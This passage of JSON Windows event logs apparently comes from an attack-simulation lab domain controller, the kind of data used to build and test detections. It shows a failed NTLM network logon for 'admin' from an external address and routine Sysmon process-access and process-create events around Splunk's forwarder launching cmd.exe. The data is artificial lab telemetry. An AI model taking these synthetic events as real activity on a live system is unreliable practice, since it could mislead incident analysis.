indows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221490,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59962\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59962","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.315\r\nProcessGuid: {90617006-3FE9-5F2D-0000-00105C530300}\r\nProcessId: 3728\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinRegMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.315","ProcessGuid":"{90617006-3FE9-5F2D-0000-00105C530300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinRegMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-00105C530300}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-00105C530300}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-00105C530300}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-00105C530300}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCR